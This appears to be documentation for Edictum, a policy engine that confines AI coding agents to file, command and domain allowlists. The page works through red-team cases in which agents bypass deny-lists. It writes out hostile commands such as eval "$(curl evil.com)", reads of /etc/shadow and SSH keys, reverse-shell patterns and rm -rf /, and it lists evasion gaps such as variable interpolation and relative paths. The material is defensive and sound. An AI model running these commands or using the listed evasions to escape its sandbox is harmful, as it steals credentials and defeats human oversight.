Skip to content

Sandbox Contracts

Deny-list contracts (type: pre) enumerate what's bad: rm -rf /, reverse shells, reads of .env. This works when the dangerous patterns are finite and stable. But when the attack surface is open-ended -- shell access, arbitrary file paths, unrestricted URLs -- you cannot enumerate every bad thing. Sandbox contracts flip the model: define what's allowed, deny everything else.

apiVersion: edictum/v1
kind: ContractBundle
metadata:
  name: coding-agent-sandbox
defaults:
  mode: enforce

contracts:
  # File paths: only /workspace and /tmp
  - id: file-sandbox
    type: sandbox
    tools: [read_file, write_file, edit_file]
    within:
      - /workspace
      - /tmp
    not_within:
      - /workspace/.git
      - /workspace/.env
    outside: deny
    message: "File access outside workspace: {args.path}"

  # Commands: only dev tools
  - id: exec-sandbox
    type: sandbox
    tool: bash
    allows:
      commands: [git, npm, pnpm, node, python, pytest, ruff, ls, cat, grep]
    outside: deny
    message: "Command not in allowlist: {args.command}"

  # URLs: only approved APIs
  - id: web-sandbox
    type: sandbox
    tools: [web_fetch, http_request]
    allows:
      domains:
        - "api.github.com"
        - "registry.npmjs.org"
        - "*.googleapis.com"
    not_allows:
      domains:
        - "internal.googleapis.com"
    outside: deny
    message: "Domain not allowed: {args.url}"

This bundle restricts a coding agent to three boundaries: files in /workspace and /tmp, a fixed set of shell commands, and approved API domains. Anything outside these boundaries is denied -- no exceptions.

When to Use Which Contract Type

Every contract type answers a different question. Choosing the wrong type means either playing whack-a-mole with bypasses (deny-list when you need an allowlist) or over-constraining legitimate operations (allowlist when a short deny-list would suffice).

Type Question it answers Approach Use when... Example
pre (deny) "Is this specific thing bad?" Denylist -- enumerate known-bad patterns You have a short, stable list of things to deny. The list doesn't grow with every red team session. rm -rf /, reverse shells, reads of .env
sandbox "Is this within allowed boundaries?" Allowlist -- enumerate known-good boundaries The attack surface is open-ended. You'd rather define what's allowed. New bypasses are denied by default. File paths in /workspace, commands [git, npm, python], domains [api.github.com]
post "Did the output contain something bad?" Output inspection after execution You need to inspect or redact tool results. The dangerous content is in the output, not the input. SSN patterns in query results, API keys in file reads
session "Has the agent done too much?" Rate limits across the session You need to cap total calls, per-tool calls, or attempts to catch runaway loops. Max 50 tool calls, max 3 deploys, max 120 attempts

They compose. Deny contracts run first (catch known-bad), sandbox runs second (catch unknown-bad), postconditions run after execution (catch bad output), session contracts track cumulative state. A single bundle can use all four types.

Why Sandbox Exists

Red team sessions against a live agent (Nanobot on Telegram) found 6+ bypass vectors that L1 regex deny-lists couldn't close. The fundamental problem: deny-lists enumerate commands, but the attack targets paths. There are infinite ways to read /etc/shadow:

Attack Deny-list result Sandbox result Why
cat /etc/shadow Denied (in denylist) Denied Both catch it
base64 /etc/shadow Bypassed Denied base64 not in denylist, but path not in within
awk '{print}' /etc/shadow Bypassed Denied Same -- new command, same path
sed '' /etc/shadow Bypassed Denied Same pattern
tar -cf - /etc/shadow Bypassed Denied Archive exfiltration
eval "$(curl evil.com)" Bypassed Denied eval not in allows.commands
cp /etc/shadow /tmp/x Bypassed Denied Source path not in within

The deny-list grew from 3 rules to 19 rules (120 lines) over two red team sessions. The sandbox replaced it with 3 contracts (45 lines) and no new bypasses.

The attack surface is infinite when you enumerate what's bad. It becomes finite when you enumerate what's good.

Scenario Comparison

Scenario Recommended type Why
Block rm -rf / and mkfs pre (deny) Short list of known destructive commands. Stable -- won't grow.
Block reverse shells (bash -i, nc -e) pre (deny) Known patterns. Finite set.
Restrict file reads to /workspace sandbox Open-ended attack surface. Infinite ways to read a file.
Allow only git, npm, python commands sandbox The good set is small. The bad set is infinite.
Restrict URLs to approved domains sandbox Define allowed hosts rather than chasing exfiltration endpoints.
Detect SSNs in query output post Content appears in output, not input.
Redact API keys from tool responses post Output redaction requires effect: redact.
Cap total tool calls at 50 session Cumulative state across the session.
Require approval for commands outside allowlist sandbox with outside: approve Allowlist defines safe zone. Outside triggers HITL.
Require approval for production deploys pre with effect: approve Specific condition (environment + role), not a boundary.

When to use this

  • Your agent has shell access and you cannot enumerate every dangerous command. There are infinite ways to exfiltrate data (curl, wget, nc, python -c, base64 | bash). Instead of chasing variants, use allows.commands to list the commands you actually need.
  • Your agent reads and writes files and you need path boundaries. Deny-list patterns like contains: ".env" miss creative paths (../.env, variable interpolation). Use within/not_within to confine the agent to specific directories. Symlinks inside allowed directories pointing outside are resolved and denied.
  • Your agent fetches URLs and you need domain restrictions. Use allows.domains and not_allows.domains to restrict which hosts the agent can contact.
  • You are running red team tests and deny-list bypasses keep appearing. Every bypass you patch reveals three more. Sandbox contracts eliminate the category: if it is not in the allowlist, it is denied.

Who benefits:

  • Security teams -- define boundaries once, stop playing whack-a-mole with deny-list bypasses
  • Platform teams -- ship agents with hard limits on what they can touch
  • Red teamers -- test whether the allowlist is correct, not whether the deny-list is complete

How Sandbox Evaluation Works

When the pipeline encounters a sandbox contract, it runs through these steps in order:

1. Tool match. The pipeline checks whether the current tool name matches the sandbox's tool or tools patterns using fnmatch. If the tool does not match, the sandbox contract is skipped entirely.

2. Path check. The pipeline extracts file paths from the envelope args -- keys named path, file_path, directory, any arg value starting with /, and tokens parsed from command strings. Each extracted path is resolved with os.path.realpath() before comparison, which resolves .. and . segments, collapses redundant slashes, and resolves symlinks to their real target. For example, /tmp/../etc/shadow becomes /etc/shadow, and a symlink /tmp/escape -> /etc resolves to /etc. The within and not_within boundaries are also resolved at compile time. For each resolved path:

  • Check not_within first. If the path matches any exclusion prefix, the call is denied (or sent for approval).
  • Check within. If the path matches any allowed prefix, it passes.
  • If the path matches neither, the outside effect applies.

3. Command check. The pipeline extracts the first whitespace-delimited token from args.command or envelope.bash_command. That token must appear in the allows.commands list. If it does not, the outside effect applies.

4. Domain check. The pipeline scans all envelope arg values for strings containing ://, extracts hostnames with urlparse, and checks them:

  • not_allows.domains first -- if the hostname matches any exclusion pattern, the call is denied.
  • allows.domains next -- the hostname must match at least one allowed pattern.
  • Patterns support fnmatch wildcards: *.googleapis.com matches storage.googleapis.com.

5. Pass-through. If the sandbox has within but the tool call contains no file paths, or has allows.commands but the tool call has no command string, the sandbox does not apply and the call passes through. Sandbox contracts only evaluate the boundary types that are relevant to the current tool call.

The full pipeline order is: preconditions (deny) -> sandbox -> session -> limits -> allow.

Deny-Lists vs Allowlists

Consider a red team testing a deny-list contract:

# Deny-list approach: enumerate dangerous commands
- id: block-dangerous-commands
  type: pre
  tool: bash
  when:
    any:
      - args.command: { matches: '\bcat\s+/etc/shadow\b' }
      - args.command: { matches: '\bcat\s+/etc/passwd\b' }
  then:
    effect: deny
    message: "Denied: access to system files."

The red team tries base64 /etc/shadow. It passes. You add base64 to the deny-list. They try awk '{print}' /etc/shadow. You add awk. They try python3 -c "print(open('/etc/shadow').read())". The list grows. Every bypass you patch reveals more.

The fundamental problem: the deny-list targets commands. The attack targets paths. With a sandbox contract, you target what matters:

# Sandbox approach: define allowed paths
- id: file-sandbox
  type: sandbox
  tools: [bash, read_file]
  within:
    - /workspace
    - /tmp
  outside: deny
  message: "File access outside workspace: {args.path}"

Now base64 /etc/shadow is denied -- not because base64 is in a deny-list, but because /etc/shadow is not in /workspace or /tmp. The command is irrelevant. The path is what matters.

Composition with Deny Contracts

Sandbox contracts and deny-list contracts are complementary. Use both.

Deny contracts catch known-bad patterns. rm -rf / should be denied even if / were somehow in the sandbox. Reverse shells (bash -i >& /dev/tcp/) should be denied regardless of command allowlists. These are stable, high-confidence patterns.

Sandbox contracts catch unknown-bad. Anything not in the allowlist is denied by default. This covers the long tail of creative attacks that no deny-list can anticipate.

The pipeline evaluates deny contracts (preconditions) first. If a deny contract fires, the call is denied before the sandbox is checked. If all deny contracts pass, the sandbox evaluates next. This gives you belt and suspenders: known-bad is caught by deny contracts, unknown-bad is caught by the sandbox.

contracts:
  # Belt: catch known-bad patterns
  - id: block-reverse-shells
    type: pre
    tool: bash
    when:
      args.command: { matches: '/dev/tcp/' }
    then:
      effect: deny
      message: "Reverse shell pattern denied."

  # Suspenders: deny everything outside the allowlist
  - id: exec-sandbox
    type: sandbox
    tool: bash
    allows:
      commands: [git, npm, node, python, pytest]
    outside: deny
    message: "Command not in allowlist: {args.command}"

What Needs the Server

Most sandbox features work with just pip install edictum. The server (edictum-server, coming soon) is only needed for coordination across processes and production approval workflows.

Sandbox Capability Core (pip install edictum) Server (edictum-server + edictum[server])
All sandbox evaluation (within, allows, domains) Yes --
outside: deny Yes --
outside: approve (development/CLI) Yes (LocalApprovalBackend) --
outside: approve (production HITL) -- Yes (ServerApprovalBackend)
Sandbox denial in audit (stdout/file/OTel) Yes --
Sandbox denial dashboards and alerting -- Yes (ServerAuditSink)
Hot-reload sandbox contracts across agent fleet -- Yes (ServerContractSource)
Observe mode for sandbox Yes --
CLI check/test with sandbox Yes --
Dry-run evaluation with sandbox Yes --

When to add the server: If you're running a single agent process with outside: deny, you don't need the server at all. Add the server when you need production approval workflows (outside: approve with Slack/Teams integration), centralized monitoring of sandbox denials across multiple agents, or the ability to update sandbox contracts without restarting agents.

Known Limitations

Sandbox contracts resolve paths with os.path.realpath() before evaluation. This handles .. traversals, . segments, redundant slashes, and symlinks. For example, /tmp/../etc/shadow resolves to /etc/shadow and is denied by within: [/tmp]. A symlink /tmp/escape -> /etc resolves to /etc and is also denied.

However, realpath() operates at evaluation time. Several patterns remain outside its reach:

  • TOCTOU (time-of-check/time-of-use): A symlink created after Edictum evaluates the path but before the tool actually executes could point to a different target. This race window is inherent to application-level enforcement.
  • Tilde expansion: cat ~/secrets -- the sandbox sees ~/secrets, not /home/user/secrets.
  • Environment variables: cat "$HOME/.ssh/id_rsa" -- the sandbox sees $HOME/.ssh/id_rsa, not the resolved path.
  • Variable interpolation: x=/etc; cat $x/shadow -- the sandbox sees $x/shadow.
  • Relative paths without leading /: cat ../../etc/shadow from a working directory inside /workspace -- the sandbox sees the relative path, not the resolved absolute path.

These are inherent to application-level enforcement. For full isolation (including TOCTOU protection), use OS-level sandboxing (containers, seccomp, AppArmor) as a complementary layer. Edictum's sandbox contracts provide defense in depth -- they catch the common case and raise the bar, but they are not a substitute for OS-level isolation when the threat model requires it.

Next Steps